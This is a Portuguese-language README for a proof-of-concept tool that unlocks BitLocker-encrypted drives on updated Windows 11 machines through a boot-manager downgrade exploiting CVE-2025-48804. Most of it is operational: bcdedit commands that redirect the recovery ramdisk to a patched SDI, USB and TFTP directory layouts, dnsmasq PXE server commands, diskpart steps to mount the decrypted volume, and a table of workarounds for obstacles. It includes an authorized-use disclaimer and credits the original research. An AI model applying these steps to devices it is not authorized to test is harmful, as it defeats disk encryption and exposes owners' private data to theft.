
Ataque de downgrade para CVE-2025-48804
Uma prova de conceito para acessar discos criptografados com BitLocker em menos de 5 minutos em máquinas Windows 11 totalmente atualizadas, através de um ataque de downgrade do gerenciador de inicialização, aproveitando a vulnerabilidade SDI originalmente documentada como CVE-2025-48804. O patch de julho de 2025 corrige isso em bootmgfw.efi, portanto, qualquer bootmgfw.efi anterior ao patch, assinado sob PCA 2011, pode ser usado para um ataque de downgrade, desde que o sistema alvo confie nesta PCA.
Esta PoC fornece dois métodos de entrega: inicialização USB (mais simples e recomendada) e inicialização PXE. Mas, teoricamente, você também poderia simplesmente copiar um arquivo de inicialização SDI para uma das partições padrão não criptografadas (ESP e Recuperação) e não se preocupar com USB ou PXE - veja a tabela "Casos especiais".
Este trabalho baseia-se inteiramente na pesquisa da Microsoft STORM (Netanel Ben Simon e Alon Leviev):
BitUnlocker: Aproveitando a Recuperação do Windows para Extrair Segredos do BitLocker
dnsmasq e um cabo Ethernet para PXEColoque-o em USB/sdi/ (para método USB) ou TFTP-root/sdi/ (para método PXE).
No dispositivo alvo, abra um prompt de comando do WinRE (segure Shift enquanto clica em Reiniciar, depois Solucionar problemas > Prompt de Comando — clique em "Ignorar este disco" quando solicitado a chave de recuperação do BitLocker e clique em "reiniciar" se também for informado que o prompt de comando não pode ser executado em um dispositivo bloqueado — e se o prompt de comando simplesmente não abrir, use seu próprio WinPE, se possível). Conecte um pendrive USB e execute:
E: (ou onde estiver seu USB)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
Na saída, encontre a entrada de opções de dispositivo cuja descrição seja "Windows Recovery" e que contenha entradas ramdisksdidevice / ramdisksdipath. Anote seu GUID, então:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
Coloque o arquivo BCD resultante no local apropriado dependendo do seu método:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDFormate um pendrive USB como FAT32 e copie o conteúdo do diretório USB/ para sua raiz (apenas seu conteúdo, não deve haver uma pasta "USB"). O pendrive USB deve ficar assim:
Raiz do pendrive USB/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Gerenciador de inicialização anterior ao patch (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Seu BCD modificado
└── sdi/
└── boot_patched.sdi # SDI corrigido com WinRE personalizado
Conecte o pendrive USB ao alvo e acione uma inicialização UEFI USB — seja pelo WinRE (Usar um dispositivo) ou pressionando a tecla do menu de inicialização do fabricante ao ligar (F12, F9, etc.). Se o pendrive USB não aparecer na lista de opções de inicialização, procure por uma opção "Inicializar a partir de arquivo" no menu de inicialização UEFI, então navegue até EFI/Boot/bootx64.efi no pendrive USB.
O diretório TFTP-root/ está estruturado da seguinte forma:
TFTP-root/
├── bootmgfw.efi # Gerenciador de inicialização anterior ao patch (PCA 2011)
├── Boot/
│ └── BCD # Seu BCD modificado
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Mesmo gerenciador de inicialização anterior ao patch
└── sdi/
└── boot_patched.sdi # SDI corrigido com WinRE personalizado
Conecte o alvo à sua máquina Linux via Ethernet e inicie o servidor PXE:
cd BitUnlocker
export INTERFACE=<sua-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
Acione a inicialização PXE no alvo — pelo WinRE selecione Usar um dispositivo > Rede IPv4, ou pressione a tecla de inicialização PXE do fabricante.
O gerenciador de inicialização carregará o BCD e, em seguida, começará a baixar boot_patched.sdi. O arquivo SDI é grande (~300 MB), então leva um momento via USB, ou vários minutos via TFTP. Uma mensagem relacionada à recuperação com o caminho SDI deve aparecer na tela do alvo enquanto ele carrega.
Assim que a transferência for concluída, um prompt de comando deve aparecer com o volume do SO descriptografado e montado (tipicamente C: ou E:). Se não foi montado automaticamente ou você não quer adivinhar a letra, basta executar diskpart -> sel vol X (aquele que parece ser sua unidade criptografada) -> assign letter=C (ou outra letra) -> exit -> aproveitar
Incluí dois scripts em scripts/:
patch_sdi.py — constrói um arquivo SDI modificado a partir de um boot.sdi e um arquivo WinRE.wimparse_sdi.py — analisa um arquivo SDI para validar sua estrutura e conteúdoO arquivo boot_patched.sdi fornecido nos Releases contém um WinRE.wim modificado onde o aplicativo de inicialização é cmd.exe.
bootmgfw.efi assinado por CA 2023 por padrão. Para verificar, monte a partição EFI e inspecione o binário ativo: mountvol S: /s então sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Observe que C:\Windows\Boot\EFI\bootmgfw.efi pode ser diferente do arquivo realmente usado na inicialização — sempre verifique a cópia da partição EFI.Microsoft STORM (Netanel Ben Simon e Alon Leviev) pela pesquisa original do BitUnlocker e divulgação da vulnerabilidade.
Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.
Este repositório e todo o seu conteúdo são fornecidos estritamente para testes de segurança autorizados e fins de pesquisa. Use esta ferramenta apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano resultante do uso deste material.
| Situação | O que acontece |
|---|
| BitLocker configurado com um PIN que você conhece | Tela azul na inicialização — digite o PIN às cegas (desculpe, não me preocupei com fontes do BitLocker neste repositório) e pressione Enter |
| Tela azul, sem PIN | O alvo provavelmente migrou para CA 2023 — pressione Escape e deixe a transferência SDI terminar de qualquer forma, mas a unidade criptografada com BitLocker provavelmente estará bloqueada no final |
| Somente USB-C / Thunderbolt | Use um drive USB-C ou adaptador USB-Ethernet (para PXE) |
| Arquivo TFTP não encontrado (exceto arquivos de fonte lixo que não nos importamos) | Nomes de arquivos diferenciam maiúsculas de minúsculas — renomeie bootmgfw.efi para corresponder ao que o alvo solicita |
| Inicialização PXE ou USB não permitida | Verifique o tamanho disponível das partições ESP e Recovery (diskpart -> list vol). Se houver espaço suficiente para o arquivo Boot.sdi fornecido (cerca de 300 MB) em qualquer partição, coloque-o lá. Então, o exploit será ligeiramente diferente (mas ainda tão rápido) pois você precisará modificar diretamente o arquivo BCD do sistema alvo (faça um backup) para apontar para a partição do host não criptografada (entrada ramdisksdidevice do BCD em particular), e substituir o bootmgfw.efi do seu alvo pelo fornecido na pasta TFTP deste repositório. Neste caso, certifique-se de verificar se o gerenciador de inicialização do seu alvo está assinado pelo PCA 2011 (o exploit não funcionaria nesse caso de qualquer forma, sempre verifique isso), caso contrário você colocará o sistema na recuperação do BitLocker. Além disso, se não houver espaço suficiente para o arquivo Boot.sdi que forneci neste repositório, você pode tentar criar sua própria versão menor, definitivamente existem algumas maneiras de fazer isso (veja a seção "Construir seu próprio arquivo SDI" abaixo) |